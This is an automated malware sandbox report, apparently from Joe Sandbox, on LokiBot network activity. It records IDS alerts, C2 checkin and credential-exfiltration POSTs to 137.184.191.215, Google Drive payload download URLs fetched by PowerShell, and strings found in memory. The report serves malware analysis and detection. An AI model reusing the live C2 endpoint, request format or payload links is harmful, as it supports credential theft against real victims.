Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59089 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59089 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59105 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59105 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59096 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59096 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59099 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59100 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59100 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59101 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59092 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59089 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59106 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59089 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59105 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59087 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59105 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59087 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59093 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59102 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59097 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59107 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59092 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59107 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59099 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59106 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59107 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59102 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59102 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59110 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59093 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59110 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59093 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59086 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59084 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59095 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59107 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024312 - Severity 1 - ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 : 192.168.2.4:59084 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59086 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59091 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59097 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59097 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59091 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59095 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59104 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59095 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59110 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59097 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59110 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59104 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59104 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59104 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59088 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59088 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59108 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59108 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59088 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59098 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59088 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59098 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59094 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59094 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59108 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59108 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59094 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59098 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59094 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59098 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59103 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59103 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59103 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59103 -> 137.184.191.215:80

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QtOkBJWLLx3DwBCgRL8QZa0hYU0wtSj7 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1QtOkBJWLLx3DwBCgRL8QZa0hYU0wtSj7&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 137.184.191.215 137.184.191.215

Source: Joe Sandbox View

ASN Name: PANDGUS PANDGUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:59082 -> 172.217.18.110:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QtOkBJWLLx3DwBCgRL8QZa0hYU0wtSj7 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1lSqiaJ46oNlphq9JFrSKXLLdPu84s4pt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1lSqiaJ46oNlphq9JFrSKXLLdPu84s4pt&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 149Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.191.215

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QtOkBJWLLx3DwBCgRL8QZa0hYU0wtSj7 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QtOkBJWLLx3DwBCgRL8QZa0hYU0wtSj7 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1QtOkBJWLLx3DwBCgRL8QZa0hYU0wtSj7&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1lSqiaJ46oNlphq9JFrSKXLLdPu84s4pt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1lSqiaJ46oNlphq9JFrSKXLLdPu84s4pt&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: 18.31.95.13.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /index.php/check.php?s=am9ntjjw HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 137.184.191.215Accept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 1A0CD362Content-Length: 176Connection: close

Source: msiexec.exe, 00000008.00000002.2948258092.00000000042ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://137.184.191.215/index.php/check.php?s=am9ntjjw
Source: powershell.exe, 00000001.00000002.1864327822.00000211959D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://drive.google.com
Source: powershell.exe, 00000001.00000002.1864327822.0000021195A66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195640000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://drive.usercontent.google.com
Source: powershell.exe, 00000001.00000002.1895124133.00000211A38F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000001.00000002.1864327822.0000021193AA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1864327822.0000021193881000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2690295829.00000000045E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.1864327822.0000021193AA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.1864327822.0000021193881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.2690295829.00000000045E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000001.00000002.1864327822.0000021193D19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195629000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2126102585.0000000004363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: powershell.exe, 00000001.00000002.1895124133.00000211A38F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.1895124133.00000211A38F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.1895124133.00000211A38F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000001.00000002.1864327822.00000211955FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.00000211959D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.googP
Source: powershell.exe, 00000001.00000002.1864327822.00000211955FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.00000211959D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021193AA7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021193D2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com
Source: msiexec.exe, 00000008.00000002.2948258092.00000000042AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: msiexec.exe, 00000008.00000002.2948258092.00000000042AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/7h
Source: powershell.exe, 00000001.00000002.1864327822.0000021193AA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1QtOkBJWLLx3DwBCgRL8QZa0hYU0wtSj7P
